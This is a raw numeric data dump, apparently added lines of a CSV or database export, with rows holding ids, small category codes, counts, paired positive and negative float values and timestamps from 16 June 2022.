+47143,4,12659,9.04795266,-9.04795266,2022-06-16 13:36:21.728192+00 +36596,4,10867,9.822848283,-9.822848283,2022-06-16 12:40:22.122002+00 +36597,4,10843,4.42785337,-4.42785337,2022-06-16 12:40:22.123656+00 +36598,4,10859,1.961140433,-1.961140433,2022-06-16 12:40:22.124556+00 +36599,4,10875,1.693715004,-1.693715004,2022-06-16 12:40:22.12544+00 +36600,4,10827,12.31298507,-12.31298507,2022-06-16 12:40:22.126441+00 +38646,6,11264,4.356910587,-4.356910587,2022-06-16 12:52:05.742357+00 +36602,6,10925,2.225759205,-2.225759205,2022-06-16 12:40:22.848092+00 +36603,1,10843,6.965545255,-6.965545255,2022-06-16 12:40:23.406091+00 +36604,1,10901,13.35061722,-13.35061722,2022-06-16 12:40:23.407478+00 +47144,4,12619,13.31067317,-13.31067317,2022-06-16 13:36:21.729506+00 +47169,4,12627,6.431274457,-6.431274457,2022-06-16 13:36:30.412293+00 +47177,6,12719,5.139930507,-5.139930507,2022-06-16 13:36:30.964061+00 +38752,2,11245,5.009357471,-5.009357471,2022-06-16 12:52:24.406433+00 +36609,2,10877,5.369457022,-5.369457022,2022-06-16 12:40:24.431064+00 +41206,4,11603,7.042764641,-7.042764641,2022-06-16 13:04:29.848779+00 +44510,6,12144,1.972256702,0,2022-06-16 13:20:11.166355+00 +41255,7,11376,10.19138276,0,2022-06-16 13:04:55.900141+00 +41256,7,11440,10.12332535,0,2022-06-16 13:04:55.903383+00 +36614,2,10861,5.204793404,-5.204793404,2022-06-16 12:40:24.544746+00 +41257,7,11504,10.05673777,0,2022-06-16 13:04:55.904193+00 +36616,6,10941,2.289122362,-2.289122362,2022-06-16 12:40:24.860188+00 +36617,1,10864,0.59486407,0,2022-06-16 12:40:26.405076+00 +36618,1,10875,2.816254213,-2.816254213,2022-06-16 12:40:26.406163+00 +36619,1,10851,21.25091053,-21.25091053,2022-06-16 12:40:26.406845+00 +36620,1,10880,1.558813658,-1.558813658,2022-06-16 12:40:26.407475+00 +36621,1,10867,13.89049925,-13.89049925,2022-06-16 12:40:26.408064+00 +36622,1,10859,3.217067488,-3.217067488,2022-06-16 12:40:26.408658+00 +36623,1,10856,16.41911074,-16.41911074,2022-06-16 12:40:29.404435+00 +36624,4,10835,7.425668253,-7.425668253,2022-06-16 12:40:30.433006+00 +41258,7,11568,9.991558565,0,2022-06-16 13:04:55.904933+00 +41259,7,11632,9.927730253,0,2022-06-16 13:04:55.905688+00 +41260,7,11696,9.865198952,0,2022-06-16 13:04:55.906475+00 +47198,1,12632,6.993025323,-6.993025323,2022-06-16 13:36:35.690309+00 +36630,3,10944,6.269322679,-6.269322679,2022-06-16 12:40:32.415983+00 +36631,2,10922,5.66715787,-5.66715787,2022-06-16 12:40:32.655004+00 +36632,3,10621,7.270427628,-7.270427628,2022-06-16 12:40:33.417136+00 +36633,3,10605,7.065810671,-7.065810671,2022-06-16 12:40:34.657639+00 +36634,1,10872,7.777988564,-7.777988564,2022-06-16 12:40:44.432927+00 +36635,1,10943,3.551185497,-3.551185497,2022-06-16 12:40:53.433186+00 +36636,1,10942,3.182851176,-3.182851176,2022-06-16 12:40:53.436596+00 +36637,1,10902,14.41887213,-14.41887213,2022-06-16 12:40:53.437475+00 +36638,1,10927,4.570680222,-4.570680222,2022-06-16 12:40:53.43848+00 +36639,1,10926,4.088384553,-4.088384553,2022-06-16 12:40:53.439373+00 +36640,1,10840,8.58378991,-8.58378991,2022-06-16 12:40:53.440148+00 +36641,1,10918,15.40827509,-15.40827509,2022-06-16 12:40:56.436396+00 +44622,6,12190,10.49229662,-10.49229662,2022-06-16 13:20:32.363052+00 +47216,4,12448,5.981040799,-5.981040799,2022-06-16 13:36:52.575333+00 +44672,1,12152,6.702529274,-6.702529274,2022-06-16 13:20:59.704189+00 +44673,1,12120,7.375765922,-7.375765922,2022-06-16 13:20:59.707515+00 +57541,3,14526,7.361661983,-7.361661983,2022-06-16 14:32:04.046851+00 +60972,2,14893,2.712309919,0,2022-06-16 14:46:19.443385+00 +49990,6,13205,6.721554292,-6.721554292,2022-06-16 13:52:10.847167+00 +57616,6,14493,4.38593601,-4.38593601,2022-06-16 14:32:13.823572+00 +36650,6,10926,7.5781446,-7.5781446,2022-06-16 12:41:03.707385+00 +41470,3,11643,7.378244753,-7.378244753,2022-06-16 13:05:53.514934+00 +47374,3,12734,8.06421649,-8.06421649,2022-06-16 13:38:04.013536+00 +39119,3,11053,6.690795721,-6.690795721,2022-06-16 12:54:31.453308+00 +39132,6,11294,10.85374511,-10.85374511,2022-06-16 12:54:46.620095+00 +39133,6,11358,10.80413414,-10.80413414,2022-06-16 12:54:46.623372+00 +37044,2,11007,4.070468995,-4.070468995,2022-06-16 12:43:05.400987+00 +39673,4,11385,12.9592937,-12.9592937,2022-06-16 12:57:10.405662+00 +36659,6,10942,6.030340213,-6.030340213,2022-06-16 12:41:04.007498+00 +39728,4,11320,7.954180853,-7.954180853,2022-06-16 12:57:21.609933+00 +63952,3,15211,3.260233629,0,2022-06-16 14:57:01.813745+00 +37261,6,11053,2.144693879,-2.144693879,2022-06-16 12:44:13.028921+00 +37285,4,10995,9.749532232,-9.749532232,2022-06-16 12:44:21.096617+00 +36664,2,10864,1.668403459,0,2022-06-16 12:41:04.561874+00 +37286,4,10987,1.895351184,-1.895351184,2022-06-16 12:44:21.097786+00 +37287,4,10971,4.421233168,-4.421233168,2022-06-16 12:44:21.098555+00 +37288,4,10955,12.38995358,-12.38995358,2022-06-16 12:44:21.099354+00 +37289,4,11003,1.631368905,-1.631368905,2022-06-16 12:44:21.100106+00 +36669,2,10880,4.12894489,-4.12894489,2022-06-16 12:41:04.677631+00 +37344,6,11055,7.115415887,-7.115415887,2022-06-16 12:44:49.275646+00 +60088,6,14846,3.009000909,-3.009000909,2022-06-16 14:42:40.173733+00 +37414,2,11071,3.977304961,-3.977304961,2022-06-16 12:45:05.383536+00 +36674,2,10926,5.219045947,-5.219045947,2022-06-16 12:41:04.795446+00 +37472,3,10877,7.03982511,-7.03982511,2022-06-16 12:45:33.029299+00 +60187,2,14846,2.252663983,-2.252663983,2022-06-16 14:43:05.898671+00 +49246,4,13119,1.660387457,-1.660387457,2022-06-16 13:48:13.269527+00 +49247,4,13053,1.999021845,-1.999021845,2022-06-16 13:48:13.27297+00 +37702,1,11059,13.66322155,-13.66322155,2022-06-16 12:46:53.438771+00 +37703,1,11043,21.13468478,-21.13468478,2022-06-16 12:46:53.442191+00 +36681,2,10927,5.281084026,-5.281084026,2022-06-16 12:41:04.952163+00 +37704,1,11035,6.827272522,-6.827272522,2022-06-16 12:46:53.443048+00 +43114,2,11966,3.336955963,-3.336955963,2022-06-16 13:13:05.536935+00 +37796,4,11050,7.797063053,-7.797063053,2022-06-16 12:47:20.495244+00 +40186,3,11520,5.66330581,-5.66330581,2022-06-16 12:59:50.198624+00 +49248,4,13005,13.22603496,-13.22603496,2022-06-16 13:48:13.273833+00 +36687,2,10942,4.080906317,-4.080906317,2022-06-16 12:41:05.074469+00 +40288,6,11550,10.70850233,-10.70850233,2022-06-16 13:00:16.983875+00 +49249,4,13103,2.165419249,-2.165419249,2022-06-16 13:48:13.274695+00 +49250,4,13079,12.91025572,-12.91025572,2022-06-16 13:48:13.275521+00 +36691,2,10943,4.118849282,-4.118849282,2022-06-16 12:41:05.157991+00 +43313,4,11952,0.613210381,0,2022-06-16 13:14:08.51748+00 +40477,1,11567,3.96476693,-3.96476693,2022-06-16 13:01:05.516259+00 +36694,4,10873,14.29793383,-14.29793383,2022-06-16 12:41:06.674474+00 +36695,4,10857,14.2670162,-14.2670162,2022-06-16 12:41:06.678407+00 +36696,4,10841,14.35884909,-14.35884909,2022-06-16 12:41:06.679364+00 +40478,1,11583,3.080986128,-3.080986128,2022-06-16 13:01:05.519596+00 +38202,6,11199,5.469566824,-5.469566824,2022-06-16 12:49:36.480526+00 +46455,3,12269,5.475622115,-5.475622115,2022-06-16 13:32:36.097135+00 +49251,4,13078,13.4206836,-13.4206836,2022-06-16 13:48:13.276283+00 +36701,4,10865,14.91136021,-14.91136021,2022-06-16 12:41:12.659254+00 +49252,4,13021,6.673753433,-6.673753433,2022-06-16 13:48:13.277079+00 +49253,4,12949,8.478709306,-8.478709306,2022-06-16 13:48:13.277751+00 +38406,6,11131,3.634845905,-3.634845905,2022-06-16 12:50:49.923556+00 +38407,6,11195,3.62327375,-3.62327375,2022-06-16 12:50:49.927028+00 +36706,1,10600,16.33809758,-16.33809758,2022-06-16 12:41:14.435333+00 +36707,1,10664,16.28420855,-16.28420855,2022-06-16 12:41:14.438822+00 +49280,6,13086,9.927973937,-9.927973937,2022-06-16 13:48:19.739611+00 +38474,6,11247,6.79663577,-6.79663577,2022-06-16 12:51:08.385327+00 +56844,6,14366,8.896869872,-8.896869872,2022-06-16 14:29:10.301254+00 +43714,1,12016,0.52207904,0,2022-06-16 13:16:05.636057+00 +36712,2,10875,5.286563528,-5.286563528,2022-06-16 12:41:14.563342+00 +36713,2,10859,6.004830379,-6.004830379,2022-06-16 12:41:14.566572+00 +36714,7,10858,8.061445451,-8.061445451,2022-06-16 12:41:14.95618+00 +43715,1,12009,6.166531484,-6.166531484,2022-06-16 13:16:05.639815+00 +43716,1,12017,6.679266672,-6.679266672,2022-06-16 13:16:05.640884+00 +40897,2,11646,3.47724334,-3.47724334,2022-06-16 13:03:05.436674+00 +43717,1,12025,6.151683599,-6.151683599,2022-06-16 13:16:05.641786+00 +43718,1,11993,6.221539108,-6.221539108,2022-06-16 13:16:05.642865+00 +36720,3,10928,2.630054468,0,2022-06-16 12:41:15.85658+00 +43803,6,12027,3.01637328,-3.01637328,2022-06-16 13:16:20.945478+00 +43835,4,12046,16.91958431,-16.91958431,2022-06-16 13:16:30.666489+00 +43847,3,11773,6.576639541,-6.576639541,2022-06-16 13:16:37.25906+00 +46883,2,12638,7.59874637,-7.59874637,2022-06-16 13:35:04.958314+00 +41077,3,11646,9.267571381,-9.267571381,2022-06-16 13:04:05.808444+00 +41104,4,11694,3.761049463,-3.761049463,2022-06-16 13:04:08.21572+00 +41105,4,11630,3.751688203,-3.751688203,2022-06-16 13:04:08.217024+00 +41106,4,11678,6.816449699,-6.816449699,2022-06-16 13:04:08.21791+00 +41168,2,11629,4.834439983,-4.834439983,2022-06-16 13:04:19.400876+00 +41173,4,11611,4.389462512,-4.389462512,2022-06-16 13:04:22.835505+00 +41174,4,11643,1.377064848,-1.377064848,2022-06-16 13:04:22.836931+00 +38947,3,11243,8.99725037,-8.99725037,2022-06-16 12:53:43.830477+00 +43994,6,12079,5.775019861,-5.775019861,2022-06-16 13:17:17.339513+00 +41200,1,11636,14.72975267,-14.72975267,2022-06-16 13:04:26.566509+00 +41208,3,11389,6.609106587,-6.609106587,2022-06-16 13:04:35.900404+00 +39014,3,11374,11.66728689,-11.66728689,2022-06-16 12:54:05.955462+00 +64432,6,15327,8.711060581,-8.711060581,2022-06-16 14:58:33.432184+00 +36741,4,10858,8.097987626,-8.097987626,2022-06-16 12:41:26.871734+00 +41261,1,11693,2.907339133,-2.907339133,2022-06-16 13:04:56.592321+00 +41262,1,11617,9.793407616,-9.793407616,2022-06-16 13:04:56.596818+00 +39074,6,11390,5.44331893,-5.44331893,2022-06-16 12:54:12.716894+00 +41263,1,11505,7.179693844,-7.179693844,2022-06-16 13:04:56.598017+00 +41264,1,11377,7.158853462,-7.158853462,2022-06-16 13:04:56.599087+00 +39105,2,11325,5.147165226,-5.147165226,2022-06-16 12:54:19.400649+00 +39120,3,11069,6.853045524,-6.853045524,2022-06-16 12:54:34.588684+00 +39134,6,11341,12.07453645,-12.07453645,2022-06-16 12:54:46.654914+00 +41265,1,11641,6.562307077,-6.562307077,2022-06-16 13:04:56.600081+00 +41266,1,11633,7.130564245,-7.130564245,2022-06-16 13:04:56.601035+00 +41267,1,11625,6.549238387,-6.549238387,2022-06-16 13:04:56.602026+00 +36753,6,10927,7.274901762,-7.274901762,2022-06-16 12:41:34.712329+00 +41268,1,11441,7.102453866,-7.102453866,2022-06-16 13:04:56.602858+00 +39188,1,11357,10.27327475,-10.27327475,2022-06-16 12:54:59.460995+00 +41269,1,11609,6.613185613,-6.613185613,2022-06-16 13:04:56.60368+00 +41270,1,11709,3.352393177,-3.352393177,2022-06-16 13:04:56.604523+00 +41271,1,11569,7.074433076,-7.074433076,2022-06-16 13:04:56.605381+00 +64534,1,15276,10.20354071,-10.20354071,2022-06-16 14:58:48.22312+00 +53511,2,13739,3.773439576,-3.773439576,2022-06-16 14:11:14.464026+00 +41355,4,11480,8.679884569,-8.679884569,2022-06-16 13:05:13.542358+00 +36763,6,10943,5.760745176,-5.760745176,2022-06-16 12:41:35.088291+00 +60692,2,14895,1.695299935,-1.695299935,2022-06-16 14:45:05.896392+00 +64535,1,15292,9.928967376,-9.928967376,2022-06-16 14:58:48.226466+00 +44357,2,12143,4.038711052,-4.038711052,2022-06-16 13:19:09.966442+00 +49991,4,13184,1.25338266,-1.25338266,2022-06-16 13:52:11.814864+00 +49992,4,13231,2.095753927,-2.095753927,2022-06-16 13:52:11.818306+00 +49993,4,13215,5.777228007,-5.777228007,2022-06-16 13:52:11.819184+00 +49994,4,13247,1.600757103,-1.600757103,2022-06-16 13:52:11.820237+00 +49995,4,13165,1.241167032,-1.241167032,2022-06-16 13:52:11.820989+00 +49996,4,13133,13.10812795,-13.10812795,2022-06-16 13:52:11.821719+00 +49997,4,13181,1.950015413,-1.950015413,2022-06-16 13:52:11.822491+00 +49998,4,13149,6.544933626,-6.544933626,2022-06-16 13:52:11.823186+00 +41557,6,11696,1.937335885,0,2022-06-16 13:06:12.443147+00 +37046,4,10937,14.13088189,-14.13088189,2022-06-16 12:43:06.475223+00 +37047,4,10929,14.82831022,-14.82831022,2022-06-16 12:43:06.479312+00 +37073,4,10905,14.19103034,-14.19103034,2022-06-16 12:43:12.502978+00 +37074,4,10921,14.03464568,-14.03464568,2022-06-16 12:43:12.504192+00 +52509,2,13547,3.948823348,-3.948823348,2022-06-16 14:05:14.567425+00 +45762,3,12398,10.10926229,-10.10926229,2022-06-16 13:28:06.569828+00 +45763,3,12462,10.04126886,-10.04126886,2022-06-16 13:28:06.573418+00 +39960,3,11504,2.652317368,0,2022-06-16 12:58:35.725239+00 +37415,4,11001,13.96695002,-13.96695002,2022-06-16 12:45:05.96541+00 +37416,4,10969,14.06119441,-14.06119441,2022-06-16 12:45:05.969271+00 +37417,4,10993,14.64919436,-14.64919436,2022-06-16 12:45:05.970242+00 +37418,4,10968,8.892411784,-8.892411784,2022-06-16 12:45:05.971199+00 +45887,6,12479,4.26516886,-4.26516886,2022-06-16 13:28:48.979368+00 +40187,6,11178,7.561806927,-7.561806927,2022-06-16 12:59:50.499088+00 +37705,2,11114,5.376833484,-5.376833484,2022-06-16 12:46:53.527174+00 +49255,6,13069,11.05038471,-11.05038471,2022-06-16 13:48:14.161386+00 +37797,1,11064,7.578741942,-7.578741942,2022-06-16 12:47:26.411142+00 +46150,6,12525,1.300876694,-1.300876694,2022-06-16 13:30:28.999955+00 +60425,3,14895,5.441117888,-5.441117888,2022-06-16 14:44:05.904445+00 +64537,1,15282,8.79630408,-8.79630408,2022-06-16 14:58:51.220525+00 +53275,6,13675,2.458716013,-2.458716013,2022-06-16 14:09:14.234985+00 +57073,3,14382,7.005625964,-7.005625964,2022-06-16 14:30:05.572657+00 +38131,2,11131,5.054500472,-5.054500472,2022-06-16 12:49:14.528561+00 +38158,4,11114,7.752334232,-7.752334232,2022-06-16 12:49:19.752798+00 +57074,3,14446,6.947417334,-6.947417334,2022-06-16 14:30:05.576306+00 +43806,6,12045,11.64649351,-11.64649351,2022-06-16 13:16:22.203055+00 +43837,4,11987,6.8231861,-6.8231861,2022-06-16 13:16:31.933709+00 +64538,1,15258,9.174608568,-9.174608568,2022-06-16 14:58:51.223965+00 +46831,1,12654,2.777090038,-2.777090038,2022-06-16 13:34:41.71226+00 +46832,1,12670,2.181162203,-2.181162203,2022-06-16 13:34:41.715668+00 +46833,1,12638,5.973530361,-5.973530361,2022-06-16 13:34:41.716506+00 +57162,6,14395,1.854182375,-1.854182375,2022-06-16 14:30:21.476613+00 +60610,3,14843,3.241740604,0,2022-06-16 14:44:55.609595+00 +50000,6,13213,5.202759432,-5.202759432,2022-06-16 13:52:12.862897+00 +50014,4,13238,10.55816312,-10.55816312,2022-06-16 13:52:20.40936+00 +64554,4,15257,6.760802164,-6.760802164,2022-06-16 14:59:00.620215+00 +57332,2,14384,1.917039769,0,2022-06-16 14:31:05.204225+00 +53850,4,13801,8.512989131,-8.512989131,2022-06-16 14:13:46.155465+00 +41107,1,11677,10.08450139,-10.08450139,2022-06-16 13:04:08.572626+00 +41152,1,11576,7.116336028,-7.116336028,2022-06-16 13:04:14.568595+00 +41172,4,11635,9.498167697,-9.498167697,2022-06-16 13:04:21.032296+00 +41175,1,11624,15.67613342,-15.67613342,2022-06-16 13:04:23.584121+00 +41199,4,11595,12.84237296,-12.84237296,2022-06-16 13:04:24.600802+00 +41201,1,11634,13.17363132,-13.17363132,2022-06-16 13:04:29.566685+00 +41202,1,11626,5.056737145,-5.056737145,2022-06-16 13:04:29.567835+00 +41203,1,11544,7.857287566,-7.857287566,2022-06-16 13:04:29.568603+00 +41204,1,11620,14.70110348,-14.70110348,2022-06-16 13:04:29.569397+00 +41205,1,11618,13.28643019,-13.28643019,2022-06-16 13:04:29.570048+00 +41209,7,11498,7.115952863,-7.115952863,2022-06-16 13:04:37.801422+00 +41232,1,11695,3.868675425,-3.868675425,2022-06-16 13:04:44.567574+00 +47228,2,12656,1.794506381,0,2022-06-16 13:37:04.809664+00 +41272,2,11690,4.734926485,-4.734926485,2022-06-16 13:04:56.7879+00 +53851,4,13809,9.227004137,-9.227004137,2022-06-16 14:13:46.159051+00 +41299,4,11641,12.4862056,-12.4862056,2022-06-16 13:05:00.908369+00 +47269,2,12735,2.793386622,-2.793386622,2022-06-16 13:37:05.819207+00 +38988,2,11295,8.104160715,-8.104160715,2022-06-16 12:54:05.252418+00 +64555,4,15281,7.268493943,-7.268493943,2022-06-16 14:59:00.621586+00 +64632,2,15281,8.856802691,-8.856802691,2022-06-16 14:59:09.471958+00 +41365,2,11643,4.644460279,-4.644460279,2022-06-16 13:05:14.515081+00 +39060,6,11374,6.784880461,-6.784880461,2022-06-16 12:54:12.290887+00 +47411,6,12765,5.564526064,-5.564526064,2022-06-16 13:38:05.766301+00 +41403,6,11648,4.318946002,-4.318946002,2022-06-16 13:05:23.562383+00 +39106,4,11315,9.631634239,-9.631634239,2022-06-16 12:54:20.549825+00 +39107,4,11323,1.501998602,-1.501998602,2022-06-16 12:54:20.552967+00 +39108,4,11307,1.740456885,-1.740456885,2022-06-16 12:54:20.553779+00 +39109,4,11275,12.68335743,-12.68335743,2022-06-16 12:54:20.554561+00 +39110,4,11291,4.400142295,-4.400142295,2022-06-16 12:54:20.555401+00 +39121,1,11375,4.162148227,-4.162148227,2022-06-16 12:54:38.493165+00 +39122,1,11374,3.662794486,-3.662794486,2022-06-16 12:54:38.496541+00 +39123,1,11390,2.875279655,-2.875279655,2022-06-16 12:54:38.497347+00 +54324,6,13982,9.239594745,-9.239594745,2022-06-16 14:16:49.625902+00 +47621,2,12799,2.766952619,-2.766952619,2022-06-16 13:39:06.060198+00 +44963,6,12254,10.43945606,-10.43945606,2022-06-16 13:23:06.346442+00 +39201,1,11349,12.92027349,-12.92027349,2022-06-16 12:55:02.490302+00 +39214,2,11328,3.822433353,-3.822433353,2022-06-16 12:55:04.767567+00 +61188,2,14974,2.204652009,-2.204652009,2022-06-16 14:47:06.030348+00 +41558,4,11735,14.17659889,-14.17659889,2022-06-16 13:06:13.100535+00 +41559,4,11734,14.89304749,-14.89304749,2022-06-16 13:06:13.103832+00 +39256,2,11391,3.72100106,-3.72100106,2022-06-16 12:55:05.576849+00 +41560,4,11709,2.561587568,-2.561587568,2022-06-16 13:06:13.104657+00 +41561,4,11693,2.211169129,-2.211169129,2022-06-16 13:06:13.10549+00 +41562,4,11661,14.33304357,-14.33304357,2022-06-16 13:06:13.10631+00 +41563,4,11677,8.11913612,-8.11913612,2022-06-16 13:06:13.107119+00 +41564,4,11775,2.572933708,-2.572933708,2022-06-16 13:06:13.107923+00 +41565,4,11711,2.567642771,-2.567642771,2022-06-16 13:06:13.108624+00 +41566,4,11759,3.331850719,-3.331850719,2022-06-16 13:06:13.109348+00 +41567,4,11742,6.584455913,-6.584455913,2022-06-16 13:06:13.110039+00 +41568,4,11743,6.375448891,-6.375448891,2022-06-16 13:06:13.110727+00 +41584,4,11599,15.42450343,-15.42450343,2022-06-16 13:06:21.281954+00 +41585,4,11663,15.36858033,-15.36858033,2022-06-16 13:06:21.283206+00 +41586,4,11675,4.386072427,-4.386072427,2022-06-16 13:06:21.284031+00 +41587,4,11659,12.78361853,-12.78361853,2022-06-16 13:06:21.284802+00 +41588,4,11699,9.448816954,-9.448816954,2022-06-16 13:06:21.285566+00 +41589,4,11691,1.566295643,-1.566295643,2022-06-16 13:06:21.286436+00 +41592,4,11707,1.346740287,-1.346740287,2022-06-16 13:06:23.054542+00 +41602,2,11709,5.183620388,-5.183620388,2022-06-16 13:06:24.536745+00 +44998,1,12285,3.024625061,-3.024625061,2022-06-16 13:23:23.629822+00 +44999,1,12221,3.016082132,-3.016082132,2022-06-16 13:23:23.633214+00 +41626,1,11691,2.484826511,-2.484826511,2022-06-16 13:06:29.567545+00 +41627,1,11707,2.144666254,-2.144666254,2022-06-16 13:06:29.568667+00 +39388,3,11323,7.888804697,-7.888804697,2022-06-16 12:55:45.646395+00 +47650,2,12778,3.7014989,-3.7014989,2022-06-16 13:39:24.743069+00 +41653,1,11758,3.400717033,-3.400717033,2022-06-16 13:06:32.567879+00 +41654,1,11774,2.640542776,-2.640542776,2022-06-16 13:06:32.569393+00 +41655,3,11437,6.047564685,-6.047564685,2022-06-16 13:06:32.854686+00 +50682,4,13112,7.374411306,-7.374411306,2022-06-16 13:55:49.522234+00 +47728,3,12799,7.187050584,-7.187050584,2022-06-16 13:40:03.941551+00 +50683,4,13225,9.430364804,-9.430364804,2022-06-16 13:55:49.523146+00 +37048,1,10965,13.31453042,-13.31453042,2022-06-16 12:43:08.437576+00 +36786,3,10859,9.711838392,-9.711838392,2022-06-16 12:41:36.75763+00 +39676,1,11364,15.50743909,-15.50743909,2022-06-16 12:57:11.464838+00 +37119,3,10992,2.637190975,0,2022-06-16 12:43:25.969177+00 +37129,3,10749,7.147808186,-7.147808186,2022-06-16 12:43:32.614216+00 +45667,6,12415,4.325560967,-4.325560967,2022-06-16 13:27:16.529517+00 +37346,6,11070,5.816313036,-5.816313036,2022-06-16 12:44:49.425871+00 +39877,4,11502,3.990780155,-3.990780155,2022-06-16 12:58:09.956501+00 +39878,4,11486,6.975272433,-6.975272433,2022-06-16 12:58:09.959813+00 +39879,4,11518,3.114879811,-3.114879811,2022-06-16 12:58:09.960719+00 +36796,3,10875,8.658196142,-8.658196142,2022-06-16 12:41:37.413781+00 +39880,4,11440,0.619170741,0,2022-06-16 12:58:09.961472+00 +39881,4,11456,1.435525419,-1.435525419,2022-06-16 12:58:09.962255+00 +37638,2,11053,5.052121821,-5.052121821,2022-06-16 12:46:24.40375+00 +37667,4,11094,15.63616443,-15.63616443,2022-06-16 12:46:29.142231+00 +37668,4,11086,18.12841689,-18.12841689,2022-06-16 12:46:29.143586+00 +39915,4,11435,1.67492155,-1.67492155,2022-06-16 12:58:22.423376+00 +39916,4,11419,4.385611472,-4.385611472,2022-06-16 12:58:22.424593+00 +39962,6,11469,12.0272086,-12.0272086,2022-06-16 12:58:37.088778+00 +60091,4,14839,9.98467913,-9.98467913,2022-06-16 14:42:40.525081+00 +52845,1,13695,1.757140379,-1.757140379,2022-06-16 14:07:05.838965+00 +52883,4,13560,7.215306309,-7.215306309,2022-06-16 14:07:13.223727+00 +49360,1,13103,2.865626438,-2.865626438,2022-06-16 13:48:44.762903+00 +49361,1,13119,2.206748693,-2.206748693,2022-06-16 13:48:44.766201+00 +38089,2,11199,3.89273516,-3.89273516,2022-06-16 12:49:05.417838+00 +38121,1,11096,8.286139821,-8.286139821,2022-06-16 12:49:14.410469+00 +49362,1,13055,2.201734544,-2.201734544,2022-06-16 13:48:44.767097+00 +56750,6,14224,26.74547142,-26.74547142,2022-06-16 14:28:46.509943+00 +46457,6,12557,11.36675045,-11.36675045,2022-06-16 13:32:36.46436+00 +60190,2,14847,2.212788883,-2.212788883,2022-06-16 14:43:05.959428+00 +36817,4,10656,6.128040418,-6.128040418,2022-06-16 12:41:58.177266+00 +56927,2,14315,3.246150943,-3.246150943,2022-06-16 14:29:14.452162+00 +38312,6,11221,8.941881437,-8.941881437,2022-06-16 12:50:14.677736+00 +43664,3,12016,2.658034603,0,2022-06-16 13:15:54.014649+00 +46746,2,12589,4.09061705,-4.09061705,2022-06-16 13:34:19.430675+00 +46836,6,12458,6.088588608,-6.088588608,2022-06-16 13:34:50.077108+00 +38504,2,11179,5.673134541,-5.673134541,2022-06-16 12:51:14.435858+00 +36826,2,10718,8.089691178,-8.089691178,2022-06-16 12:42:04.74588+00 +36828,2,10719,8.116938391,-8.116938391,2022-06-16 12:42:04.779483+00 +40865,2,11568,1.707521825,0,2022-06-16 13:03:04.753494+00 +57163,4,14387,7.882411783,-7.882411783,2022-06-16 14:30:23.758219+00 +57214,1,14379,0.990819547,-0.990819547,2022-06-16 14:30:26.980566+00 +57215,1,14363,5.488930851,-5.488930851,2022-06-16 14:30:26.982707+00 +57216,1,14395,0.876283063,-0.876283063,2022-06-16 14:30:26.983575+00 +50067,4,13206,13.32690807,-13.32690807,2022-06-16 13:52:34.332796+00 +57217,1,14387,10.58501186,-10.58501186,2022-06-16 14:30:26.984338+00 +64540,1,15283,10.05045334,-10.05045334,2022-06-16 14:58:54.195661+00 +44360,2,12159,3.15527734,-3.15527734,2022-06-16 13:19:10.022879+00 +38780,6,11311,6.719931068,-6.719931068,2022-06-16 12:52:40.34904+00 +64541,1,15260,9.903987738,-9.903987738,2022-06-16 14:58:54.199571+00 +64542,1,15259,5.311650165,-5.311650165,2022-06-16 14:58:54.200679+00 +38826,1,11256,7.428857679,-7.428857679,2022-06-16 12:52:56.489062+00 +57411,4,14304,5.27402105,-5.27402105,2022-06-16 14:31:26.868391+00 +41210,7,11373,16.48312157,-16.48312157,2022-06-16 13:04:38.102986+00 +41211,7,11437,16.27137886,-16.27137886,2022-06-16 13:04:38.106344+00 +41212,7,11501,16.06228972,-16.06228972,2022-06-16 13:04:38.107235+00 +41213,7,11565,15.85579456,-15.85579456,2022-06-16 13:04:38.108112+00 +41214,7,11629,15.65183576,-15.65183576,2022-06-16 13:04:38.108929+00 +54046,6,13888,3.428877362,-3.428877362,2022-06-16 14:15:04.397107+00 +57475,6,14368,11.55266212,-11.55266212,2022-06-16 14:31:38.767725+00 +57544,3,14463,6.698188789,-6.698188789,2022-06-16 14:32:04.117301+00 +41339,2,11695,4.42745746,-4.42745746,2022-06-16 13:05:05.547515+00 +50587,2,13311,2.470781763,-2.470781763,2022-06-16 13:55:05.946058+00 +41366,4,11626,7.087338475,-7.087338475,2022-06-16 13:05:17.643393+00 +39077,6,11391,5.281360223,-5.281360223,2022-06-16 12:54:12.775341+00 +60831,6,14826,4.024430591,-4.024430591,2022-06-16 14:45:45.112025+00 +39094,6,11389,2.014513301,-2.014513301,2022-06-16 12:54:14.702231+00 +39111,1,11304,15.85813506,-15.85813506,2022-06-16 12:54:23.490894+00 +39124,4,11168,6.079287553,-6.079287553,2022-06-16 12:54:40.125794+00 +64738,7,15344,11.90466555,0,2022-06-16 14:59:36.501314+00 +44824,1,12286,2.399739305,-2.399739305,2022-06-16 13:22:08.674895+00 +47677,6,12799,3.984809802,-3.984809802,2022-06-16 13:39:36.535983+00 +36865,3,10990,12.29555363,-12.29555363,2022-06-16 12:42:06.87095+00 +41511,2,11678,7.90349187,-7.90349187,2022-06-16 13:06:04.995969+00 +39226,2,11359,8.060743049,-8.060743049,2022-06-16 12:55:05.074024+00 +36871,3,10991,12.34330762,-12.34330762,2022-06-16 12:42:07.034476+00 +36872,4,10944,1.620280384,-1.620280384,2022-06-16 12:42:08.339939+00 +36873,4,10928,0.624594605,0,2022-06-16 12:42:08.344178+00 +36874,4,10974,7.377729064,-7.377729064,2022-06-16 12:42:08.345341+00 +36875,4,10990,4.658247915,-4.658247915,2022-06-16 12:42:08.346416+00 +36876,1,10973,10.44253873,-10.44253873,2022-06-16 12:42:08.435074+00 +36877,1,11005,3.691156697,-3.691156697,2022-06-16 12:42:08.438701+00 +36878,1,10989,3.578071102,-3.578071102,2022-06-16 12:42:08.439712+00 +36879,4,10925,3.015025153,-3.015025153,2022-06-16 12:42:12.029777+00 +36880,4,10941,3.107745177,-3.107745177,2022-06-16 12:42:12.033093+00 +36881,4,10893,15.19903375,-15.19903375,2022-06-16 12:42:12.033948+00 +36882,4,11007,3.341109522,-3.341109522,2022-06-16 12:42:12.034833+00 +36883,4,10909,9.068303913,-9.068303913,2022-06-16 12:42:12.035648+00 +36884,4,10991,4.285805173,-4.285805173,2022-06-16 12:42:12.036434+00 +36885,4,10975,6.79216637,-6.79216637,2022-06-16 12:42:12.037247+00 +36886,4,10837,11.7683461,-11.7683461,2022-06-16 12:42:14.022933+00 +47777,3,12783,8.879035608,-8.879035608,2022-06-16 13:40:05.968316+00 +39237,2,11375,4.742374772,-4.742374772,2022-06-16 12:55:05.339491+00 +50774,6,13296,2.043947613,0,2022-06-16 13:56:10.259908+00 +50801,4,13303,9.761156517,-9.761156517,2022-06-16 13:56:15.878873+00 +39281,1,11288,8.138947299,-8.138947299,2022-06-16 12:55:14.485925+00 